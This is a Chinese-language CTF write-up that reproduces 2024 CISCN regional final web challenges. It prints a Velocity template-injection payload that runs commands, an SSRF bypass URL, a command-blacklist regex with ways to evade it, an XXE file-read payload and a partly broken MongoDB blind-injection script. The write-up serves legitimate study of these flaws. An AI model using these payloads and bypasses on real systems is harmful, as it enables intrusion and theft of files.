2024 ciscn各赛区决赛复现(未完)
感谢很多师傅 拿到了很多赛区的附件 还好是awdp 能拿到附件
西南赛区
ezssti

存在Velocity模板注入,day month 可以控制
注意到mouth存在简单的waf

判断是否为空如果不为空,直接使用Integer.parseInt进行强制类型转换 转换成数字
注意到 day参数没有waf 直接打就行

1 2
| #set($e="e") $e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc")
|
flaskweb
存在ssti注入

注意到加入的路径 aes解密一次之后直接渲染
aes密钥已经给出

直接一把梭就行

添加路劲即可rce

ssrf2rce
满足正则就行
1
| http://ciscn.asa?@127.0.0.1/flag.php/look
|
得到lag.php出来 能看到存在如下文件

访问 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| <?php function executeComand($command) { if (preg_match('/cat| |\\\\|\${IFS}|%09|\$[*@x]|tac|bat|more|less|nl|od|sed|awk|perl|python|ruby|xxd|hexdump|string/', $command)) { return "Hacker!!!"; }
$output = shell_exec($command); if ($output === null) { return "uhhhh"; }
return $output; }
$command = isset($_GET['command']) ? $_GET['command'] : '';
if (!empty($command)) { $result = executeCommand($command); echo nl2br(htmlspecialchars($result, ENT_QUOTES, 'UTF-8')); } else { echo highlight_file(__FILE__, true); } ?>
|
直接给了rce 但是需要过滤了很多,同时shell_exec 是没有回显的命令执行点
可以使用l\s | tee 1 把flag文件名字写入1文件中 然后使用ca\t /flag | tee2 实现文件写入读取
主要是空格被过滤了很麻烦
可以使用<>代替空格,$IFS也行
zwphpc
存在back.rar 里面是源码
查看recode.php 注意到

可以根据hostname ip port 将相关的xml文件写入
注意到在search.php里面存在xxe

写一个恶意的xml文件进去 然后造成xxe即可
1
| <?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///flag">]><host><hostname>&xxe;</hostname><ip>254.131.25.69</ip><port>10086</port></host>
|
weblog
存在sql注入

这里存在sprintf函数 查查
1 2 3
| sprintf() 函数把格式化的字符串写入变量中。
arg1、arg2、++ 参数将被插入到主字符串中的百分号(%)符号处。该函数是逐步执行的。在第一个 % 符号处,插入 arg1,在第二个 % 符号处,插入 arg2,依此类推。
|
这里没有预处理 可以直接注入
注意到有一个这样的文件

这里可以直接控制host username password 啥的 可以fakeMySQL load data读取任意文件
华南赛区
只要到了题 拿附件名字做
ezjava
初赛差不多的题目 打sqlite jdbc rce即可
看到别的师傅的吐槽 可以直接fakemysql loaddata读取flag
archive-php
直接先工具跑一下各种危险函数

存在一个直接的后门

审计路由
看到一个类似xxe的 可惜禁止了外部实体

其他也没看出啥 路由写的看不懂 回头花点时间搞一下
华中赛区
华中赛区的题目都挺难的
ezjava
看登录的逻辑

主要就是获取到账号密码 然后进入查询 如果密码符合 就获取flag
注意到后端使用的是mongodb
盲注即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| import requests import urllib3 import string import urllib urllib3.disable_warnings() username="admin" password="" target = 'http://127.0.0.1:8080/login' headers = {'content-type': 'application/json'} while True: for c in string.printable: if c not in ['*','+','.','?','|']: payload = '{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c) r = requests.post(target, data = payload, headers = headers) if "username or password incorrect" in r.text print("" % (password+c)) password += cs
|
aj-report
题目有点难 后面就没细看了